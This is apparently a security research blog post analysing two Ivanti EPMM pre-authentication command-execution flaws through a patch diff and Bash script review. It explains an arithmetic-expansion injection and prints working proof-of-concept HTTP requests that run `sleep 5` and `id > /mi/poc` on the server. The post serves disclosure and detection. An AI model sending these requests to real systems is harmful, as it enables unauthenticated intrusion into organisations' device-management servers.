# Someone Knows Bash Far Too Well, And We Love It (Ivanti EPMM Pre-Auth RCEs CVE-2026-1281 & CVE-2026-1340)

When Ivanti removed the embargoes from CVE-2026-1281 and CVE-2026-1340 – pre-auth Remote Command Execution vulnerabilities in Ivanti’s Endpoint Manager Mobile (EPMM) solution – we sighed with relief.

Clearly, the universe had decided to continue mocking Secure-By-Design signers right on schedule – every January.

Welcome back to another monologue that doubles as some sort of industry-wide counseling session we must all get through together.

As we are always keen to remind everyone, today’s blog post didn’t ruin your weekend. Firstly, the APT currently exploiting these vulnerabilities, and secondly, your lack of response to the warnings from Ivanti and CISA did.

### Very Briefly, What Is EPMM?

Ivanti Endpoint Manager Mobile (EPMM) is an enterprise mobility management (MDM/UEM) platform used to manage, secure, and enforce policy on mobile devices, apps, and content across iOS, Android, and other endpoints.

It is commonly deployed by large organizations to control corporate mobile fleets, distribute apps, and protect access to enterprise resources.

“protect”.

## Move On watchTowr, What’s Going On Today?

In this week’s episode of “advisories issued by Ivanti” – https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US, we see that two vulnerabilities have been detailed:

As always, the following line in the advisory sticks out like a sore thumb:

> We are aware of a very limited number of customers whose solution has been exploited at the time of disclosure.

“We are aware” and “very limited” are **likely** (in our opinion, this is probably not fact, etc etc) to be doing a **significant** amount of lifting.

For avoidance of doubt, the following versions of Ivanti EPMM are patched:

– None

“But watchTowr, what do you mean?”

Well, Ivanti are issuing patches-with-commitment-issues (you have to reapply after any subsequent changes in the future, or they of course get rolled back) – until Q1 2026 when they release 12.8.0.0.

Yikes?

These temporary, patches-with-commitment-issues RPMs are (as of writing) called:

– ivanti-security-update-1761642-1.0.0L-5.noarch.rpm
– ivanti-security-update-1761642-1.0.0S-5.noarch.rpm

To signal even more severity, it’s clear that this ‘is bad’ as they got insta-added to CISA’s KEV list.

So, without further ado.. let’s dig in…

### The Beginning

As we mentioned, Ivanti delivered RPM patches to customers under embargo (and are still paywalled) to help implement mitigations:

For the purposes of this analysis, we’re focusing on the RPM patch relating to 12.7.0.0.

`rpm` doubles up as an ultra-hacking tool (put that in your IoCs, F5), allowing us to see what files are stored within the package.

We can see that it stores two uncompiled Java files:

– `AFTUrlMapper.java`
– `AppStoreUrlMapper.java`

So far so good! But what actually happens to those files? We can again use `rpm` to list the contents that will be executed during the installation.

For this purpose, we will use the following command:

`rpm -qlp –scripts ivanti-security-update-1761642-1.0.0L-5.noarch.rpm`

Let’s go through the important steps, one by one. The first important fragments of the script are as follows:

“`
/etc/alternatives/javac /tmp/ivanti-security-update-1761642/AppStoreUrlMapper.java /etc/alternatives/javac /tmp/ivanti-security-update-1761642/AFTUrlMapper.java
“`

We can see that Java classes are being compiled – quite logical. Afterwards, we are seeing some basic filesystem-based operations.

“`
/bin/echo “Step-2 : Applying patches…” /bin/cp /tmp/ivanti-security-update-1761642/AppStoreUrlMapper.class /mi/bin/AppStoreUrlMapper.class /bin/chown root:root /mi/bin/AppStoreUrlMapper.class /bin/chmod 700 /mi/bin/AppStoreUrlMapper.class /bin/cp /tmp/ivanti-security-update-1761642/AFTUrlMapper.class /mi/bin/AFTUrlMapper.class /bin/chown root:root /mi/bin/AFTUrlMapper.class /bin/chmod 700 /mi/bin/AFTUrlMapper.class
“`

Compiled classes are moved to the `/mi/bin` directory and prepared for execution.

Boring stuff aside, we have reached an actually interesting part. Suddenly, the script started modifying the Apache HTTPD config:

“`
/bin/sed -i \ -e ‘s|RewriteMap mapAppStoreURL prg:/mi/bin/map-appstore-url|RewriteMap mapAppStoreURL “prg:/bin/java -cp /mi/bin AppStoreUrlMapper”|g’ \ -e ‘s|RewriteMap mapAftStoreURL prg:/mi/bin/map-aft-store-url|RewriteMap mapAftStoreURL “prg:/bin/java -cp /mi/bin AFTUrlMapper”|g’ \ /mi/config-system/xsl/httpd_ssl_conf.xsl
“`

This looks like so much fun! It seems that Ivanti EPMM:

– Has two Apache `RewriteMap` instances defined.
– Which point to the shell scripts:
– `/mi/bin/map-appstore-url` and
– `/mi/bin/map-aft-store-url`.

After the patch, those bash scripts are no longer used. **The patch modifies the `RewriteMap` instructions, which now leverages the newly introduced Java classes, entirely replacing said Bash scripts.**

This clearly indicates one thing – the vulnerability must exist somewhere in those Bash scripts (or, Ivanti’s new approach to vulnerabilities is to refactor everything – which honestly didn’t strike us as their worst idea yet).

### Reaching Bash Scripts through HTTP

As Ivanti EPMM is an HTTP-based enterprise security solution (for emphasis), and it appears that the RPM patches provided amend items within Apaches configuiration – we can logically conclude that the vulnerability must be exploitable through HTTP.

As the mappings are in the Apache config, we can have another look to see where they are used.

Taking the path of least resistance to everything in life, we leveraged another hacking tool (another one for you, F5) – grep. We just grepped through the config looking for `mapAppStoreURL` map occurrences, and multiple results popped up.

One of them is as follows:

`RewriteRule ^/mifs/c/appstore/fob/3/([0-9]+)/sha256:(.*)/(.*)(.ipa)$ ${mapAppStoreURL:$2_$1_$3_$4_%{HTTP_HOST}_%{ENV:SCRIPT_URL}} [T=application/octet-stream,UnsafePrefixStat]`

Alright, so what happens here? Well, friends..

If you send the HTTP Request targeting the following endpoint: `/mifs/c/appstore/fob/3//sha256:/.ipa`

Apache will execute the `/mi/bin/map-appstore-url` Bash script with the following input:

`___.ipa__`

We have everything that an attacker may dream of:

– An unauthenticated endpoint, and
– The ability to pass attacker-controlled strings to a Bash script.

Let’s do a simple experiment, using the following example HTTP request:

“`
GET /mifs/c/appstore/fob/3/105/sha256:kid=1,st=1341879970, h=123aabf796106cfb2ab40cbbd43ba5b44fd937f1a5856e0a95640ba6f9d71843, et=1969735722/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa HTTP/1.1 Host: f5-research-lab-ioc-block-it-all.f5
“`

With a little bit of tracing and debugging, we can follow this request to the inputs passed to the `mapp-appstore-url` Bash script:

`kid=1,st=1341879970,h=123aabf796106cfb2ab40cbbd43ba5b44fd937f1a5856e0a95640ba6f9d71843,et=1969735722_105_e2327851-1e09-4463-9b5a-b524bc71fc07_.ipa_f5-research-lab-ioc-block-it-all.f5_/mifs/c/appstore/fob/3/105/sha256:kid=1,st=1341879970,h=123aabf796106cfb2ab40cbbd43ba5b44fd937f1a5856e0a95640ba6f9d71843,et=1969735722/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa`

As you can see, we are controlling seemingly a lot of things.

Time to bleed our eyes out with Bash, then.

### The One Where We Lose All Of Our Hair

At this point, we were blissful and optimistic. Everything, literally everything, looked like a straight way to the RCE. We mean, how hard can it be – surely we just inject some OS commands with some fancy mashed characters?

Ha ha, how naive we were.

**We were looking at both bash scripts for several hours, only to say that we see absolutely no way to exploit them.**

Let’s start with the basics. This Bash script allows users, with all the correct ingredients, to retrieve mobile applications from the Ivanti EPMM approved application store.

To achieve that, you need to provide the following:

– `kid`- Index of a salt string from `/mi/files/appstore-salt.txt`.
– `st`- Start time for the download operation.
– `et`- End time for the download operation.
– `h`- SHA256 hash based on several inputs, which verifies whether you know the “secret” salt or not.
– Appstore file to retrieve. In our sample request, it is: `e2327851-1e09-4463-9b5a-b524bc71fc07`.

Assuming that the `h` hash in our script is correct, the HTTP response will contain the content of the `/mi/files/appstore/105/secure/e2327851-1e09-4463-9b5a-b524bc71fc07` file.

Nothing fancy – just a script which retrieves a file and verifies whether you know the proper file name (GUID) and the salt, which is stored on the local filesystem.

There’s no point in boring you with the script contents so far. However, you need to know that we spent a significant amount of time exploring any and all potential command/code injection points in this Bash script , **and we found nothing**.

We found some minor argument injection issues, but meh.

### Final Exploit – Arithmetic Expansion

Call it a divine intervention or whatever you wish, but we went for a nap and the PoC request appeared in our dream.

It looks like this:

“`
GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713, h=gPath%5B%60sleep%205%60%5D/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa
“`

Let’s URL decode that for those of you who haven’t stared at URL encoded values for years and can automatically decode it:

“`
GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue ,et=1337133713, h=gPath[`sleep 5`]/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa
“`

Fairly bizarre, right?

Well, first of all, there are some references to the parsing of `key=value,` values in the `map-appstore-url` Bash script:

“`
if [[ -z ${ret} ]] ; then for theKeyMapEntry in “${theAppStoreKeyValueArray[@]}” ; do theKey=”${theKeyMapEntry%%=*}” theValue=”${theKeyMapEntry##*=}” logDebug “${FUNCNAME}” “theKey=$theKey; theValue=$theValue” case ${theKey} in kid) gKeyIndex=”${theValue}” ;; st) # [1] gStartTime=”${theValue}” if (( ${#gStartTime} != “${kValidTimeStampLength}” )) ; then ret=”${kTimestampLengthInvalidErrorCode}” fi ;; et) gEndTime=”${theValue}” if (( ${#gEndTime} != “${kValidTimeStampLength}” )) ; then ret=”${kTimestampLengthInvalidErrorCode}” fi ;; h) # [2] gHashPrefixString=”${theValue}” ;; *) ret=”${kURLStructureInvalidErrorCode}” logDenial “${FUNCNAME}” “${ret}” “unknown presented key=${theKey}; theValue=${theValue}” ;; esac done fi
“`

At `[1]` and `[2]`, you can see that `st` and `h` values are assigned inside of a `case`. You can see a familiar reference to `theValue` (note `st` value in the HTTP request).

However, what about `gPath` that you can see in `h` argument? Well, this is just a variable that had already been defined in the bash script:

“`
gPath=””
“`

The absolute magic happens at this line:

“`
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]] ; then
“`

This is a completely harmless line, right? It just compares two timestamps.

But wait, what have we defined for the `gStartTime` ( `st` in HTTP request): `theValue`

> Note: This parameter contains two additional padding spaces at the end to ensure the string is 10 characters due to a string length validation check.

`gStartTime` points to `theValue` variable! You may remember that the `theValue` variable was used to extract our `key=value` pairs. During the for loop and case statement, what is the last value that we have extracted that has been assigned to `theValue`?

“gPath[`sleep 5`] “

During arithmetic expansion, if a variable is treated as an array and the array index contains a command substitution, the shell will execute that command while resolving the index.

In this case, the `gPath` variable is used, although any defined variable name would behave the same way. When the expression is expanded, the `sleep 5` command is executed as part of that process.

For additional details on the magic of arithmetic expansion see this blog and this Stack Exchange thread.

> In short, the Bash script uses one variable ( `gStartTime`) to reference another variable ( `theValue`), where a command ( `sleep 5`) is executed as a result of arithmetic expansion and shell evaluation.

### Build Your Own Detection Artefact Generator

To prove our analysis, and give you the beginnings of creating your own DAG, we present the following request, which executes the `id > /mi/poc` OS command:

“`
GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20, et=1337133713,h=gPath%5B%60id%20>%20/mi/poc%60%5D/ 13371337-1337-1337-1337-133713371337.ipa HTTP/1.1 Host: f5-research-lab-ioc-block-it-all.f5
“`

The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.

By combining Proactive Threat Intelligence and External Attack Surface Management into a single **Preemptive Exposure Management** capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: **time to respond.**